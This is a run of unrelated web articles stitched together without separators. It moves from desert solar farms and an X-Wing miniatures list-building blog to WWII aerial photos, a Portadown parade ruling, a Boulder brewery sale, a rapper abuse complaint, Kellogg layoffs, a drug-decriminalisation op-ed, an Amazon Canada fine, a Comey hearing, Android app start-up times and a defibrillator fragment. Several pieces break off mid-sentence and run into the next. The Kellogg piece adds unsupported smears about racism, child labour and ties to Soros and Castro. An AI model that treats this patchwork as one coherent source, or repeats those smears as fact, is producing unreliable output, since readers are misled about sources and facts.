The steady expansion of solar power in desert areas is testing the balance between wilderness conservation and the pursuit of green energy.
The Ivanpah Solar Electric Generating System in the Mojave Desert, which opened last year, has faced criticism from environmentalists after scores of dead birds were found on the site, some with melted feathers. That plant uses a technology known as solar-thermal, in which computer-controlled mirrors reflect sunlight to boilers atop 459-foot towers. The suspected causes of bird deaths include collisions with mirrors and scorching.
According to the agency, the Bureau of Land Management worked with Desert Sunlight and other groups to reduce the project’s size from a proposed 19,000 acres. The agency said it required Desert Sunlight to provide funds for more than 7,500 acres of habitat for desert tortoises and other sensitive species to help offset the effect on the environment.
(Copyright 2015 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.)As much as I like to muse about how to stomp someone’s face into the dirt I also like to paint things. It really upsets me to admit that I got inspired by Wretched Scum’s flame painting guide of how he did his fantastic Fenn Rau. I had also been toying with the idea of mindlink for a while before it became popular.
Warning: Explicit flame painting hobby content puncturing attanni mindlink musings and list building.
In fact it was suggested by Man of Monkey that I write an article about Mindlink. Instead I choose to think of a top tier list and why it may not win Worlds 2016 and write about why it might not do so. And why it could win but that bit always gets ignored, (metal bikini I’m looking at you). If you want to read about mindlink in detail check out Stay on the leader blog spot for two great articles about it as well as a pretty good reason not to watch Pacific Rim.
Attani Mindlink the next big thing?
Mindlink re-visited.
If you take anything away from it, disregarding all the useful mindlink goodness, then the fact that Pacific Rim is a shitty movie should be the most important life lesson and hopefully two hours saved. I’d always been curious with what they had done with all the left over robot smack down footage from the first three transformer films. Having seen the trailer to Pacific Rim I saw that they had cobbled all the left overs together with some incoherent plot with humans. Or was that Transformers four? Regardless I thought I would watch it for free on T.V. one day as it looked kind of fun but thankfully Mr Sutcliffe’s review has saved me the pain.
I’m forever grateful.
Anyway, scum is great to paint in regards to the freedom it gives you if you want to be authentic in the paint jobs. You can legitimately in regards to this thing called ‘fluff’ paint what you like. I read this painting guide somewhere on line about doing flames on Fenn Rau and got inspired and found the guide quite useful. Its from that site where someone wrote about Dengaroo would not win worlds 2016, we had a chuckle about that at our latest club meet up.
Which ships to Paint?
Seeing as Mindlink is the new hotness from some small foreign meta I decided to go along those lines.
The 186th Special
Fenn Rau: Attanni Mindlink, Auto thrusters, Concord Dawn protector Title
Old Teroch: Attanni Mindlink, Auto thrusters, Concord Dawn protector Title
Maneroo: attanni Mindlink, K4 security droid, unhinged agro mech, feedback array.
96 points
Benn Rau took this to the quarter finals at Worlds whilst Jesper Hills took his variant, the 186th Hill Special or 186th HWK Special or whatever he calls it, to the top twenties, swapping old Teroch for Palob. So jumping on the Mindlink train I had been looking at incorporating an IG88 of some kind. Initially I was tinkering with IG88D crew on Palob with IG88C and Fenn Rau but although I liked the final result of the list building puzzle from a play style perspective I needed something more in your face.
The problem with net listing the new hotness is that the play style may not work for you. Naturally this is something you can find out by playing the list but as I mentioned before in a swarm article if I run into a mirror match against a player well versed in the list I’m immediately on the back foot. The 186th Special still has a lot of the onus on one ship doing the hard yards, even more so in Jesper’s version. This is the one reason I would not run Dengaroo myself as all the offensive output is in one place, although if I did, I would take Nand’s version, Nandaroo. It’s a two edged blade where you can hit hard but foul up and everthing can come tumbling down pretty quickly.
With all this in mind I came up with this:
Fenn Rau: Attanni Mindlink, Auto thrusters, Concord Dawn protector Title
IG88B: Attanni Mindlink, Fire Control Systems, Heavy laser Cannon, auto thrusters
Kaato Leeachos: Attanni Mindlink,
96 points
With the remaining four points I’ve looked at the following options:
Cluster bombs on IG88B (4): good in theory, better with munitions. Conner net maybe?
Burnout slam on the IG88B (1): worth a punt for repositioning, I prefer it over inertial dampners.
Seismic charge on IG88B (2): maybe, but Feedback array on Kaato might be more useful.
Upgrade Kaato to N-dru (2): naturally only when flying Kaato does the Z95 for fill the range requirements for N’dru.
Feedback on Kaato (2): we will see but has potential.
Deadman’s switch (2): guaranteed to bite me at the wrong point.
Proton rockets and Chips on Kaato (3): not bad but I like the bid and burnout slam.
Concussion or cluster missiles on Kaato: getting the target lock on high PS ships and rounding off at 100 points total.
Plasma Torpedoes on Fenn (3): interesting benefits in terms of total points cost for Fenn but guidance chips would be useful if running it.
Black market slicer tools (1): worth a punt but I need my actions on the Z95 to focus.
Initiative bid: 99 points useful against Colonel Vessery and rebel PS9 which should be 100 point lists. I feel that maybe to guarantee Fenn moving last 95 points is the total to go for rather than 96 or 97 points in the UK meta.
Early games ruled out cluster bombs on the IG88 and pointed to the fact that I need to get the Z95 involved rather than just hugging the back edge generating focus. Regardless of how I play the Z95 tends to die and initially the IG88 has done most of the heavy lifting. If it does too much heavy lifting it begs the question about why not just run double IG88.
Flying Fenn has been a bit of a puzzle to unlock. Fenn is like the bastard child of Soontir Fel and Whisper; you get the dice of a phantom at range one and near enough the dial of an interceptor but without the token stacking and cloaking. It dawned on me that it is very much like flying Carnor Jax with Veteran instincts, something I’ve flown before but with the added extra action from Mindlink. My most recent game had me fly the IG88 badly only for Fenn to pull me out of jail and put the coup de grais on both Jake Farrell and Poe Dameron.
My current build has been to use Burnout slam on the IGG88 with N’dru replacing Kaato and a 99 point bid. My reasoning is that IG88B has the arc and fire power to whittle down the higher PS arc dodgers whilst Fenn cleans out the smaller stuff. The bid is for Tie Defenders and rebel builds which will normally top out at 100 points. Problems so far are that I’m not getting the benefit of N’dru’s shooting bonus for the most part. The next run out I’m going to switch back to Kaato with a feedback array. I also feel that the PS5 of Kaato synergises with the list better to get both the other ships double focus if I want.
You really need three ships at least in a mindlink list to gain the benefit of the focus sharing. Stress is not the negative as first feared and red manoeuvring is fine if you plan adequately for it.
What’s in a name?
Initially when I stared playing around wave 4 I found the whole squad name thing somewhat silly but now I spend a great deal of my time thinking of the appropriate squad name. For example, with this list I have run through these options:
Figachos: Fenn, Ig88B, Leeachos
Ned’s Fig: N’dru, Fenn, IG88B. This I like but constrains me to using N’dru which may not be the way forward. On the down side I picture in my head a naked Sean Bean as Ned Stark with just a Fig leaf covering his modesty.
Flaming Mindlink: Says what it does on the tin but does mean I have to play with ships with flames on them. Could be a life choice but I don’t know how long I could go down that road, might be a bit 1980’s manga for my liking.
The Zombie Special: the list is probably not original or special enough unless you are using ‘special’ in a derogatory way.
The 186th Zombie Special: now this, this has promise. Give a little bit of homage to the origins of bringing mindlink to the fore on Fenn Rau but adds my own flavour and icing to it. It’s like I’ve been impregnated by the 186th and given birth to…
Yeah, let’s just leave the weird analogies there.
(Edited)I did set up a poll on our faeces page if anyone wanted to click an option. as it turned out, having seen worldwide what happens when you let people vote in 2016 I consulted the Godfather of Mindlink in the UK and he not only gave the list a modest thumbs up but suggested a reference point for a name.
Fenn Rau: Attanni mindlink, Title, auto thrusters
IG88B: Attanni mindlink, Fire control systems, Burnout slam, Heavy laser cannon, auto thrusters
Kaato Leeachos: Attanni Mindlink, Feedback Array
99points
Yavin
After hastily looking through my time table of events this looks like ‘the one’ to take to Yavin. I have one tournament at the end of December and maybe one somewhere prior to Yavin. The Tug boat might be an option instead of the Z95 as the focus generator depending on the points cost of the as yet unrevealed pilot. This could mean taking the list to 100 points and dropping the concord dawn title. Still plenty of time to play around with the fine tweaks although I’m favouring Burnout Slam on the IG88B and Feedback Array on Kaato.
If nothing else I have had fun painting flames on ships and hopefully will burn a path through to Yavin.
Drum roll, Ba Dum Cha.
Closing Thought
Few know that bear baiting ‘talk’ show host Jeremy Kyle is a big X-Wing fan, so it’s over to JK to take it away.The world after war: Aerial photos reveal the apocalyptic devastation of Europe in weeks following VE Day
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VE Day may have been a time of global celebration at the end of the Second World War, but it also laid bare the scale of devastation across the war zone that was Europe.
These photographs from May 1945 show how the landscape of Germany was scarred with bomb craters and ruined buildings, with huge refugee camps set up across the countryside.
The astonishing images are the product of the Allied 'trolley missions', attempts to catalogue the damage done by British bombers over the previous six years.
Destruction: This picture of Cologne around the time of VE Day shows how most of the city was nearly flattened apart from its iconic cathedral
Raid: The main bridge in the town of Remagen, which was disabled by Allied bombing missions earlier in the Second World War
Attack: A unique photograph of Cologne taken from the side of a bomber during a 'trolley mission' at the end of the War
Suffering: One of the areas photographed by the trolley missions was the prisoner-of-war camp in Germany Craters: The landscape around this factory came under heavy bombardment, leading to pockmarks all across it
The missions were initially restricted to Allied-controlled areas, as they began before the official end of the War, but soon extended out to Eastern Europe.
The B-17 and B-24 bombers which conducted the missions carried official photographers as well as RAF ground crew who had been instrumental in planning earlier bombing missions.
For many of the crew it was the first time they had flown in the aircraft they had been working on for years.
Target: This railyard shows how inaccurate 1940s bombing techniques were, with few missiles striking the facility itself and most landing nearby
Strategic: The railroad bridge running across the centre of Cologne collapsed into the river thanks to Allied bombing attacks
Flattened: The RAF's bombing raids in German were intended to flatten the country's infrastructure and demoralise its people
Evocative: While most of Europe was happily celebrating VE Day, areas which were bombed out were still lamenting the destruction
Rural: The scene on the outskirts of Bremen - a hint at the economic damage which would require years of rebuilding in Germany Excitement: The missions were designed as a way for RAF ground crew to see the effects of their efforts throughout the War
The missions were intended to allow both pilots and ground crew to survey the work they had done and take a close look at the effect of the bombing raids which had forced Germany into submission by 1945.
Thankfully for later generations, the photographers on board took their duties seriously and captured dozens of images of German cities pocked with craters.
The human cost of warfare is also shown by vistas of prisoner-of-war camps made up of hundreds of tents housing those who were captured while fighting.
Wasteland: Parts of Germany were left almost uninhabitable in the wake of frequent RAF raids
Shells: Whole neighbourhoods were devastated and abandoned in the aftermath of the fighting
Trouble: In some urban areas the RAF planes had stones thrown at them by angry German youths
City: Dortmund shown after the end of the Second World War on another 'trolley mission' launched by Allied troops
Damage: Part of the city of Cologne including a public park which became a bomb site and a centuries-old Prussian fort, top right
Camp: Another POW area, where conditions in the damp weather could get so bad that many inmates who had survived the fighting died there instead
In total, more than 30,000 people were invited on trolley missions to survey post-War Germany.
While most of the expeditions went off without a hitch, some airmen reported their planes being pelted by stones by German children, while others were disciplined for 'buzzing' people on the ground.
One landmark which especially stuck in the mind of the personnel who carried out the mission was Cologne Cathedral, which stood out in the middle of a ruined landscape.
Striking: Many of the Allied troops were particularly moved by the sight of Cologne Cathedral, which was mostly unharmed
Surveillance: A photograph of post-War Hamburg taken from an RAF plane surveying the damage
Neutral: This image shows Belgium, which was officially out of the firing line but became caught up in the effects of the Second World War
Industrial: Factories in the Ruhr Valley, which were targeted because of their importance to the German war effortParade allowed to march along Garvaghy Road for first time in two decades BelfastTelegraph.co.uk A loyalist march has been granted permission to march along a section of the Garvaghy Road in Portadown for the first time in almost two decades. https://www.belfasttelegraph.co.uk/news/northern-ireland/parade-allowed-to-march-along-garvaghy-road-for-first-time-in-two-decades-30379975.html https://www.belfasttelegraph.co.uk/migration_catalog/article25863838.ece/099b8/AUTOCROP/h342/orangmen
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A loyalist march has been granted permission to march along a section of the Garvaghy Road in Portadown for the first time in almost two decades.
The Parades Commission gave the go ahead for bands to march along the lower section of the predominately nationalist area on Saturday evening.
Two bands are due to take part in the march, including the Portadown True Blues Flute Band and Hillhaven Flute Band.
The application was made by the Parkmount Arch Committee.
Around 200 people are due to take part.
The march will pass by along a section of the road close to the town centre on Saturday.
Concerned nationalist residents are due to meet the commission on Tuesday morning, according to the Irish News.
Now the commission has said it has received "fresh information" from residents and is to review the decision.
'Garvaghy Road' parade is reviewed after outcry
"Following the issuing of its determination regarding a proposed parade organised by the Parkmount Arch Committee on Saturday, June 28, in Portadown, the Parades Commission has received a request to review its decision," a spokesman said.
"The commission has concluded that this request contains fresh information and, in line with procedure, will meet today (Tuesday) to review its original determination.
"The Parades Commission cannot comment on details relating to a decision currently under review."
The stretch of road in Portadown has been at the centre of Northern Ireland's parading disputes - with the Drumcree crisis having flared for years in the town.
The Orange Order has been banned from parading along the nationalist stretch since 1998.
In its determination, the Parades Commission said the march "is notified to take place partly in the lower Garvaghy Road area of Portadown".
"Parades in this area from Protestant/loyalist/unionist tradition have in the past been the focus of serious tension and disorder," it said.
"The Commission recognises that, although there has been a reduction in these tensions in recent years, there continues to be a strain on community relations in this area."
The latest decision comes as signs for a peaceful marching season looked increasingly positive in Belfast, after a contentious parade passed off without trouble earlier this month.
The Tour of the North had in the past been marred with violent clashes between nationalist protesters and unionist band members and supporters.
Branches of the loyal orders gathered at Carlisle Circus before passing through Donegall Street and continuing their route.
Last year, a number of arrests were made during and after the parade, while there was also a controversial incident when Sinn Fein MLA Gerry Kelly was driven a short distance while clinging to a police Land Rover.
To read the full determination by the Parades Commission click here.
Further reading
'Garvaghy Road' parade is reviewed after outcry
Richard Haass calls for Irish to be official language in Northern Ireland
Orange march in north Belfast passes peacefully
Appeal for calm ahead of contested 'Tour of the North' parade in Belfast
Parades: Tour of the North march 'can only play single drumbeat' as they pass Belfast Catholic church
Parades: Orange Order says bands 'will only play hymns' as they pass flashpoint outside Catholic church in Belfast
Police chief appeals for calm ahead of Orange Order parades in north Belfast
Parties to renew parades peace bid
Optimism before Parades Commission ruling on Ardoyne Orange march, but loyalist hopes dashed
Belfast Telegraph DigitalFrank Day and Boulder Beer plan new venture in same locale
From left to right: Connor Steve, Stephen Tainter and Tyler Berlin make a toast with other friends from Purdue University during a reunion at the Walnut Brewery in Boulder, on Thursday. Waiter Ken Bodine delivered the beers. The Walnut Brewery will close June 4. ( Paul Aiken / Staff photographer )
Walnut Brewery, a longtime fixture in downtown Boulder, will close June 4, to be replaced by another staple of the city: Boulder Beer.
Tennessee-based CraftWorks Restaurants & Brewery Group, the current owners of Walnut Brewery, announced Thursday a transfer of ownership to Boulder's Frank Day, founder of the original Old Chicago in Boulder and owner of the Boulderado Hotel. Day's wife, Gina, is a part-owner of Boulder Beer, which will open Boulder Beer on Walnut in July.
"We're Colorado's first craft brewery, and there's no better way to grow our legacy than to take over the location of Boulder's first brewpub," said Jeff Brown, Boulder Beer's president and partner. "I'm really excited to have the opportunity to work with Frank and expand downtown."
Brown has worked with Frank Day before: He was on the opening team of the Walnut Brewery, which debuted in 1990 at 1123 Walnut. The brewpub inspired Day to eventually launch Rock Bottom Restaurants, which grew into a 141-chain, $382 million group that included the Rock Bottom, Old Chicago and ChopHouse brands.
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Day sold the business in 2010 for an undisclosed amount to a New York private equity firm, Centerbridge Capital Partners. Centerbridge purchased Gordein Biersch Brewery Restaurant Group at the same time, folding both enterprises under the CraftWorks heading.
Day approached CraftWorks "a few years ago" to see if they'd be interested in selling it back to him. He felt the company hadn't done enough to energize the place, "one of his favorites, if not the favorite, I've ever done."
He and Brown don't plan to change much. Walnut's much-loved brews will still be available on tap, and Boulder Beer will use the location to concoct smaller-batch, specialty beers in addition to its traditional offerings. But Day did feel it necessary to re-brand the brewery under the Boulder Beer heading.
"The whole world of craft beer is getting extremely competitive. " he said. "We've got a better situation with them together than either just alone. We think it's a 2 + 2 = 5 deal."
The number of brewpubs in the U.S. has been steadily growing since at least 2012, according to Boulder-based Brewers Association. There were 1,916 brewpubs in 2016, up 10.8 percent from the prior year.
Boulder Beer is the second long-time local brewery to make moves into Boulder's downtown recently. Longmont's Oskar Blues last month announced it would open a taproom at 921 Pearl St. later this summer. Boulder Beer on Walnut is aiming for a post-July 4 opening, Day said.
Shay Castle: 303-473-1626, castles@dailycamera.com or twitter.com/shayshinecastleTyler the Creator accused of verbally abusing woman at Enmore theatre gig
Updated
The Department of Immigration and Citizenship and the police have received complaints from an Australian woman who says she was verbally abused by US rapper Tyler the Creator at a Sydney show.
Police are investigating claims that Tyler unleashed an expletive-laden tirade on 24-year-old feminist campaigner Talitha Stone at Newtown's Enmore Theatre on Thursday night.
Ms Stone says the rapper pointed her out and incited abuse against her during the all-ages gig.
"Shortly into the show, that's when Tyler for the first time called me out to the crowd saying, 'I hope this b**** hears me, call her a b****'," she said.
"Later on in the night he did that again and then referred to one of my children to have messed-up STDs."
Campaign to stop Tyler's national tour
Ms Stone is a member of the feminist group Collective Shout, which posted a video of the incident on YouTube.
The group has been leading a campaigning to stop Tyler from performing in Australia and claim that his music promotes hate and violence against women.
"Once we were informed about the type of lyrics in his songs... we decided we would act upon it to try to get his visa revoked," she said.
Before the gig, Ms Stone had tweeted about her plans to protest at a record signing in central Sydney.
"For the next 24 hours I received an onslaught of rape and violent threats online, on Twitter," she said.
Ms Stone reported the alleged online abuse and on-stage tirade to NSW police and an investigation is currently underway.
Ms Stone says the last few days have left her feeling shaken.
"I wasn't naive, I wasn't not expecting a response, but definitely not to this degree," she said.
"I'm still receiving stuff on Twitter... with references to rape."
"It's been pretty disturbing, the whole experience."
Claims visa breached, online petition to stop gigs
I'm still receiving stuff on Twitter... with references to rape. It's been pretty disturbing, the whole experience. Talitha Stone
Ms Stone says she attended the Newtown gig to collect photographic evidence that demonstrates the content of Tyler The Creator's shows.
"I think we have evidence and proof that this kind of man has breached his visa and there |
Tuesday night.
Matthew Casey writes for The Arizona Republic, a Gannett affiliate.Cereal giant Kellogg has been closing dozens of facilities and cutting thousands of jobs across the country, and a U.S. Senator is demanding the company explain the mass layoffs that may cost as many as 11,000 employees their jobs.
Sen. Robert P. Casey Jr. (D., PA) has called for the breakfast food maker to explain its plans for the job loss in his state. This month, Kellogg announced that more than 500 Pennsylvania employees would be idled after the closure of two facilities, one in Pittsburgh and another in Philadelphia.
Sen. Casey has sent a letter to Paul Norman, president of Kellogg’s North America division, asking for the company to continue its “long-standing commitment to the Pennsylvania workforce,” The Philadelphia Inquirer reported.
Casey also wants the company to clarify its plans for the Horsham and Pittsburgh facilities.
Pennsylvania is far from the only state finding large numbers of Kellogg employees relegated to the unemployment list.
Among other announcements, 250 were notified of their lost jobs in Ohio and another 175 were laid off in Tennessee. Also, almost 500 were fired in North Carolina, nearly 300 were fired in facilities in New York, and another 219 lost their jobs in Minnesota.
This doesn’t even represent the full scope of the layoffs as several more states are preparing to be included in the downsizing plan.
The closures are part of the plan to eliminate 39 distribution facilities across the country, as announced in January by the Michigan-based food manufacturer.
The cereal giant’s troubles coincided with the company’s recent decision to pull its advertising from Breitbart News. As it pulled advertising from the popular news site last November, company spokesperson Kris Charles said Breitbart News and its 45 million readers “aren’t aligned with” the cereal maker’s “values as a company.”
The move prompted Breitbart News to launch its #DumpKelloggs petition, which has been signed by more than 431,000 people.
Kellogg’s attack on readers of Breitbart News also came amid widespread allegations of racism toward its factory workers and profiting from the use of child labor.
It was also reported that Kellogg’s politically motivated nonprofit organization has close ties to radical anti-American billionaire George Soros, hate group Black Lives Matter, and deceased Cuban dictator Fidel Castro.
The left wing campaign to coerce companies to pull their ads from Breitbart News has had “little to no impact” on the organization, Breitbart Editor-in-Chief Alex Marlow said in a November statement.
Follow Warner Todd Huston on Twitter @warnerthuston or email the author at igcolonel@hotmail.com.We Americans seem to be incapable of learning from past mistakes. We learned nothing from the debacle of 1929. We learned nothing from Vietnam. And we learned nothing from Prohibition. The neo-conservative movement that Reagan initiated has managed to repeat all three.
Prohibition skyrocketed organized crime and violence, deprived the government of tax revenue, and had little impact on the consumption of alcohol. The 'War' on drugs has had the same effect, as well as filling our prisons to overflowing with nonviolent 'offenders'. No nation in the world comes anywhere near the supposedly 'free' United States in locking up such a high percentage of its own citizens. And since it costs more to send a person to prison than to put that same person through college, we're wasting money training criminals that could be spent training useful white-collar workers.
If all drugs were decriminalized and taxed tomorrow--all but marijuana made available only through a doctor's prescription, with clinics for the supervision of addicts--the following events would immediately take place:
1. Billions of dollars would flow into federal, state, and local coffers.
2. The drug cartels in Mexico, Colombia, and elsewhere would collapse.
3. The Taliban would be de-funded.
4. The expensive 'war' on drugs would end, saving more billions.
5. Nonviolent prisoners could be released and retrained, saving more billions, and creating useful, tax-paying citizens.
6. The crime rate would drop, and police would be freed to perform more useful functions.
Those with a vested interest in the status quo scream bloody murder whenever decriminalization is suggested, although they certainly don't recommend banning alcohol again. Did alcohol consumption skyrocket when Prohibition ended? There may have been an increase in moderate use, but no one claims legalization of alcohol was a bad idea. Two of the three most addictive drugs that exist in the world today--alcohol and tobacco--are legal.
The old nonsense about marijuana being a 'gateway' drug is still trotted out today--no one seems to realize that this argument is double-edged. People move on from marijuana to harder drugs (alcohol being one) precisely because marijuana is too mild for them. Addictive personalities will always gravitate to more addictive substances. There will always be drunks and junkies, and they'll always find something. It's ironic that those same folks who claim that 'people, not guns, kill people' refuse make the same argument for drugs--instead assigning them magical properties: "My child isn't a junkie, the big, bad drugs did it!"
Decriminalization doesn't mean you'd be able to buy methamphetamine at your local 7-11. All addictive drugs would require a prescription and addicts would have to register. They would be able to hold jobs, their addictions would cost little, so they wouldn't need to steal to maintain their habit, and they would have assistance quitting if they were motivated. There are, after all, wealthy people addicted to heroin today who have held jobs more successfully and for longer durations than 'functioning alcoholics'.TORONTO — Amazon Canada has been slapped with a $1-million fine by the country’s Competition Bureau over misleading price claims.
The news comes after a Bureau investigation into the online retailer’s past pricing practices, which compared its prices to a regular “list price” and in so doing suggested a savings incentive for consumers. Amazon did not verify that the list prices provided by its suppliers were accurate, the Bureau found.
“These claims created the impression that prices for items offered on http://www.Amazon.ca were lower than prevailing market prices,” reads a statement from the Bureau, which noted Amazon will also pay $100,000 of the government agency’s costs to resolve the dispute.
“The agreement reached today resolves the Bureau’s concerns and sends a clear message to the marketplace that unsubstantiated savings claims will not be tolerated.”
The investigation related to pricing practices on http://www.Amazon.ca between May 2014 and May 2016 and advertised on its home site, in Amazon mobile apps, in online ads and in emails sent to customers.
The online retailer has since made changes to the way it advertises list prices on its Canadian website and the policies have extended to savings claims for products sold on
“Consumers are naturally attracted to claims that they will save money,” said John Pecman, Commissioner of Competition. “This ensures that consumers are provided with accurate information and not misled by savings claims.”
hshaw@nationalpost.com
Twitter.com/HollieKShawFBI Director James Comey refused to attend a classified briefing with the House Oversight Committee despite receiving an invitation to testify about the bureau's reluctance to disclose thousands of pages of evidence compiled in its year-long investigation of Hillary Clinton's private email use.
Rep. Elijah Cummings, the committee's top Democrat, said Monday that Comey had declined to appear at the meeting because he had "already bent over backwards" to explain the FBI's decision-making in the Clinton email case.
But Rep. Jason Chaffetz, chairman of the Oversight Committee, disputed the suggestion that he had invited Comey to the public hearing on redactions in notes from the Clinton email case, noting he had discussed specific points of concern in a personal phone call with the FBI director but had not issued a subpoena for Comey's presence at the hearing.
Chaffetz called the hearing to question officials about why whole and partial documents had been withheld from Congress, including unclassified files.
"I don't expect to have to issue a subpoena to see unclassified information," Chaffetz said.
"As far as we can tell, the redactions are covering information commonly given to Congress," he added, suggesting some of the details withheld from the FBI's notes were simply embarassing for the agencies or the people involved and were not sensitive enough to warrant redaction.
Cummings accused the Republican chairman of the Oversight Committee of first inviting witnesses to a classified hearing about the FBI's redactions before moving at the last minute to make it a public meeting. Comey had been invited by committee Republicans to a classified briefing held last week, but no one from the administration appeared.
Chaffetz demanded the FBI provide its full investigative file to Congress rather than the "hand-picked" elements shared with lawmakers to date. During a heated exchange with an FBI agent present at the hearing, Chaffetz issued a subpoena for summaries of all interviews conducted with witnesses throughout the probe.
The Utah Republican demanded representatives of the State Department, FBI, Justice Department and three intelligence agencies — some of whom appeared under threat of subpoena— outline what records the government felt compelled to withhold from Congress and explain why they felt members should not be permitted to read those documents.
Administration officials from the Justice and State departments stated for the record that they had appeared voluntarily.
The FBI's decision to release a 58-page summary on the Friday before Labor Day rankled Republicans who questioned the bureau's reasoning for declining to publish any additional materials from its volume of documentary evidence. Critics blasted the timing of that release after the summary revealed scathing new details about Clinton aides' destruction of records under subpoena, among other findings.By Junfeng Yang | Sarvar Dhillon
We’ve stressed that apps need to start up quickly in a prior blog post, but how fast do existing apps start? Here we examine the startup times of the top 100 apps in Google Play and share the insights we find.
Background: Three Types of App Starts
There are actually three different types of app starts: first starts, cold starts, and warm starts.
First starts are what you’d expect them to be – when a user opens your app for the first time after installing it. First starts are the slowest because the mobile operating system and the app need to initialize a lot of data, such as creating a SQLite database or compiling multidex files into native code. While first starts should be as short as possible, they only occur once per app install/upgrade, so continuously measuring them isn’t as significant as measuring the other types of starts.
Cold starts occur when users open your app after they haven’t ran it for a while. Cold starts are “cold” because mobile operating systems remove inactive apps from memory to make room for active apps. Cold starts are thus slow because the app’s code, assets, and objects have to be reloaded or recreated. If users open your app a few times a day, each of these starts is a cold start, so cold starts are very important for better user experience.
Warm starts occur when users quickly return to your app after switching away. The app is still “warm” in memory, so warm starts are often very fast.
To summarize, among the three types of starts, cold starts affect user experience and conversion the most and should be the focus of optimization. Below we examine cold start times of top apps.
What Are Cold Start Times for Top Apps Like?
To study app cold start times, we picked the top 100 non-game apps ranked by Google Play. Google Play ranks apps based on a number of different elements including download volume, performance, user ratings, and social media popularity, most of which change over time. Our ranking data was fetched on January 6, 2016, and apps were continuously profiled until the publication of this post.
We excluded games because users have higher tolerance for slow game starts, as they know the games have to load a lot of graphics resources. We also excluded apps that we don’t currently support, such as those that require bank accounts and credit cards (e.g., Uber).
Our benchmark devices are Nexus 5 phones (representing mid-range devices) with Android 4.4 (the most popular Android version at the time of study).
We’ve compiled the data in the following graph:
Show me the top 25 50 100 apps sorted by google play rank cold start time
There are a number of interesting insights in this data. Let’s look at the top 25 apps first. Of them, 10 apps start in under or around 2 seconds, 20 in under 3 seconds – these apps are pretty quick to start up. Instagram is one of the fastest apps to start up, which is not surprising given the huge effort the Instagram developers put into profiling and optimizing their Android app. With a 4.3 second startup time, The Weather Channel and Snapchat are the slowest of these top apps.
Of the top 50 apps, 22 apps start in under or around 2 seconds, and 40 in under 3 seconds. The Chromecast app is the fastest with a 0.8 second start time. Surprisingly, the Weather Channel and Snapchat are still the slowest apps in the group.
Of the top 100 apps, 39 apps start in under or around 2 seconds, and 73 in under 3 seconds. Chromecast is still the fastest with its 0.8 second start time. Magic Piano overtakes Snapchat and the Weather Channel to be the slowest, with an 11.1 second startup.
There’s a clear trend here. Most top apps are relatively fast - 40% start in under 2 seconds and 70% in under 3 seconds. This makes a lot of sense given the amount of time good developers devote to performance optimization.
Categorical Breakdown
We’ve also compared the top apps that fall into the same category. We did so by analyzing each app’s primary function. For example, while Snapchat has the capabilities to send a normal tex-based message (and could be classified under “Messaging”), it primarily acts like a social platform through which users can share their experiences in real-time, like Facebook. We’ve compiled the data into the following graph:
Show me the top music streaming messaging shopping social media streaming video device optimization photo editing apps sorted by google play rank cold start time
Sort by time
Music Streaming
Among all music streaming apps, the fastest is My Mixtapez. It’s followed closely by Spotify, which starts in 1.6s - half the average start time for the category. Spinrilla is by far the slowest, taking 7x longer than the top app in the category.
Messaging
WhatsApp is the fastest app in this category, nearly 4x faster than the slowest (GO SMS Pro). Unsurprisingly, Facebook Messenger is one of the fastest messaging apps on the market. Mid-tier apps like Kik take significantly longer to start and apps with even smaller dev teams (like Talkatone and GO SMS Pro) are excruciatingly slow to start. It’s interesting to note that the apps that advertise their call functionality in their titles take longer to start, despite the fact that the faster apps also offer the same features.
Shopping
On average, the top shopping apps were slightly faster than the top messaging apps. The e-commerce industry knows that giving impulsive users quick access to products will generate more revenue. eBay is by far the fastest shopping app to start, which makes sense given its lack of hung methods. It’s about 2.5x faster than OfferUp, the slowest Shopping app in the dataset. Groupon, on the other hand, boasts the longest list of problem methods in its category. These performance issues can partially be attributed to the use of Roboguice for dependency injections. An easy way for them to improve would be to use Dagger instead.
Social Media
No surprise here, Instagram is the fastest app in the category. Like we mentioned before, Instagram developers have focused specifically on optimizing start times in the last year, and it’s really paid off for them - Instagram starts up 4x faster than the slowest app in the category, Snapchat. This is pretty surprising - we’d expect popular apps to be way faster, yet Snapchat is an odd exception.
Video Streaming
We were surprised to see the disparity between the start time of YouTube and YouTube Kids. Our profiling discovered that YouTube Kids spends significantly more time with dependencies. This, coupled with the extra time spent implementing restrictions, could explain the difference in start time.
Device Optimization
We would expect applications in this category to start quickly, considering they advertise the ability to speed up users’ devices. Z Speed+ is the fastest app in this group, taking a.2s lead over DU Battery Saver. It’s nearly 3x faster than the slowest app in the category, DU Speed Booster & Antivirus.
Photo Editing
Photo editing software are extremely popular in the mobile industry, as users like to touch up their clicks before sharing them with their friends. Photo Grid is lightning fast, starting up in just 1.1 seconds. It’s a full 8x faster than Photo Editor Pro, which takes a scary 8.8 seconds to start up.
Closing Notes
An interesting tidbit we noticed was that apps whose names include the word “Pro” (i.e. Photo Editor Pro and GO SMS Pro) were often some of the slowest in their categories :). Simply saying your app is good is not enough - you have to prove to users that your app can really perform.
Overall, top apps are pretty quick except a few outliers. We cannot stress enough that fast startup is an integral part of what makes them so successful. Good developers are constantly looking to reduce start time, and as a great developer, you should too.Medical uses Edit
Types Edit
Interface with person Edit
The connection between the defibrillator and the patient consists of a pair of electrodes, each provided with electrically conductive gel in order to ensure a good connection and to minimize electrical resistance, also called chest impedance (despite the DC discharge) which would burn the patient. Gel may be either wet (similar in consistency to surgical lubricant) or solid (similar to gummi candy). Solid-gel is more convenient, because there is no need to clean the used gel off the person's skin after defibrillation. However, the use of solid-gel presents a higher risk of burns during defibrillation, since wet-gel electrodes more evenly conduct electricity into the body. Paddle electrodes, which were the first type developed, come without gel, and must have the gel applied in a separate step. Self-adhesive electrodes come prefitted with gel. There is a general division of opinion over which type of electrode is superior in hospital settings; the American Heart Association favors neither, and all modern manual defibrillators used in hospitals allow for swift switching between self-adhesive pads and traditional paddles. Each type of electrode has its merits and demerits. Paddle electrodes Edit A pair of defibrillator paddles. The most well-known type of electrode (widely depicted in films and television) is the traditional metal paddle with an insulated (usually plastic) handle. This type must be held in place on the patient's skin with approximately 25 lbs of force while a shock or a series of shocks is delivered. Paddles offer a few advantages over self-adhesive pads. Many hospitals in the United States continue the use of paddles, with disposable gel pads attached in most cases, due to the inherent speed with which these electrodes can be placed and used. This is critical during cardiac arrest, as each second of nonperfusion means tissue loss. Modern paddles allow for monitoring (electrocardiography), though in hospital situations, separate monitoring leads are often already in place. Paddles are reusable, being cleaned after use and stored for the next patient. Gel is therefore not preapplied, and must be added before these paddles are used on the patient. Paddles are generally only found on manual external units. Self-adhesive electrodes Edit Newer types of 